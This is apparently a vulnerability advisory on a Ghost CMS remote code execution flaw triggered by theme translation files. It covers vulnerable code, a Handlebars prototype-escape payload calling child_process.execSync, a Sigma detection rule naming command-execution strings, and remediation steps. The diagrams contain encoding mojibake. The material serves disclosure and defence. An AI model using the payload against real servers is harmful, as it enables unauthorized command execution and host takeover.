Skip to content

CVE-2026-104418: Ghost Headless CMS Remote Code Execution via Theme Translation Files

Density:
HERMES

HERMES THREAT SCORE & WEB CMS INFRASTRUCTURE EXPOSURE

Target: Ghost Headless CMS โ€” Theme Internationalization (i18n) Subsystem
Confidence: 98%
94 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 18 / 20
Weaponization 20 / 20
Exposure 18 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 19 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates this flaw at 9.8 (Critical) based on authenticated staff execution. The Hermes Threat Score assigns 94 (CRITICAL) following weaponized exploit intelligence released by VulnCheck on October 3, 2026. Ghost powers mission-critical publications, engineering portals, and enterprise blogs across modern digital media architectures. Editorial teams commonly grant custom theme upload or preview permissions to external designers or junior staff. By concealing Handlebars prototype escape sequences inside locale translation files (locales/*.json), attackers escape template sandboxing and obtain unconstrained command execution in the Ghost Node.js runtime process.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-104418: Ghost Headless CMS Remote Code Execution via Theme Translation FilesVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTGhost Headless CMS
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Ghost Headless CMS documented in Hermes dossier.”

Supporting Verified Evidence:

The vulnerability exists in the translation rendering pipeline within Ghost Core (ghost/core/core/frontend/services/themes/i18n.js). Ghost allows custom themes to supply localization dictionaries under the locales/ directory (for example, locales/en.json, locales/fr.json). When Handlebars processes template views containing the {{t}} helper, translation strings undergo dynamic expression compilation:

// Vulnerable i18n string compilation in Ghost Core < 6.64.0
function translate(key, options) {
const rawString = getLocaleString(currentLocale, key);
// Flaw: Unsanitized translation values compiled directly into Handlebars AST
if (rawString && rawString.includes('{{')) {
const compiledTemplate = handlebars.compile(rawString);
return new handlebars.SafeString(compiledTemplate(options.hash));
}
return rawString;
}

Because handlebars.compile was invoked on untrusted translation values without disabling prototype lookup or restricting AST node helpers, an attacker can supply a malicious Handlebars expression that traverses JavaScript prototype chains:

{
"Navigation": "Navigation",
"Subscribe": "{{#with (lookup (lookup this 'constructor') 'constructor')}}{{#with (lookup this 'prototype')}}{{lookup (lookup this 'constructor') 'name'}}{{/with}}{{/with}}",
"Footer Notice": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with (lookup string.constructor.prototype 'trim')}}{{#with (string.constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"id\").toString()')()) as |output|}}{{output}}{{/with}}{{/with}}{{/with}}{{/with}}"
}

When an administrator or editor activates the custom theme or previews a draft post rendering the footer notice, the Node.js runtime compiles the payload and immediately executes the injected system command under the privileges of the Ghost server daemon.


Ghost Release TrainAffected VersionsFixed ReleaseOperational Remediation
Ghost 6.x6.10.3 through 6.63.16.64.0Upgrade immediately via Ghost-CLI
Ghost 5.x / 4.xPrior major branchesMigrate to 6.64.0Backport not supported; full major upgrade required

The attack path illustrates how an attacker leverages theme customization permissions to achieve host takeover:

[Attacker with Author/Editor Role]
โ”‚
โ”‚ 1. Upload custom theme ZIP with weaponized locales/en.json
โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ Ghost Admin Theme Service (/ghost/api/admin/themes/) โ”‚
โ”‚ - Unpacks theme archive to content/themes/<theme_name> โ”‚
โ”‚ - Ingests locales/en.json into i18n cache โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚
โ”‚ 2. Trigger theme compilation (site visit / preview)
โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ Ghost Template Engine (Handlebars {{t}} Helper) โ”‚
โ”‚ - Invokes handlebars.compile() on attacker payload โ”‚
โ”‚ - Traverses Object.constructor prototype chain โ”‚
โ”‚ - Executes child_process.execSync("malicious_command") โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚
โ”‚ 3. Remote code execution in Node.js runtime
โ–ผ
[Node.js Host Process Takeover / Reverse Shell]

Detection rules across Sigma, KQL, and filesystem audit utilities are provided below:

title: Ghost CMS Theme Translation Template Injection RCE
id: 8f42b319-5a1e-4cb8-9b81-3011e4286f21
status: high
description: Detects file modifications in Ghost theme locale directories containing Handlebars prototype traversal and process execution strings.
references:
- https://vulncheck.com/advisories/ghost-from-6.10.3-before-6.64.0-rce-via-theme-translation-files
- https://github.com/TryGhost/Ghost/security/advisories
author: Hermes Codex Threat Intelligence
date: 2026-10-03
logsource:
category: file_event
detection:
selection_path:
TargetFilename|contains: '/content/themes/'
TargetFilename|endswith: '.json'
selection_content:
- 'child_process'
- 'constructor.constructor'
- 'process.mainModule'
- 'SafeString'
condition: selection_path and selection_content
level: critical

  1. Upgrade Ghost via Ghost-CLI: Log in to the Ghost host and trigger the automated upgrade to 6.64.0:

    Terminal window
    sudo -u ghost -i
    ghost update 6.64.0
  2. Verify Theme Translation Integrity: Scan all active and inactive themes in content/themes/ to ensure no persistent backdoors remain in locales/ files:

    Terminal window
    ghost doctor
    find /var/lib/ghost/content/themes -name "*.json" | xargs grep -i "child_process"
  3. Restrict Theme Management Permissions: Audit Ghost Admin staff roles (/ghost/#/settings/staff) and ensure only verified super-administrators hold Owner or Administrator privileges.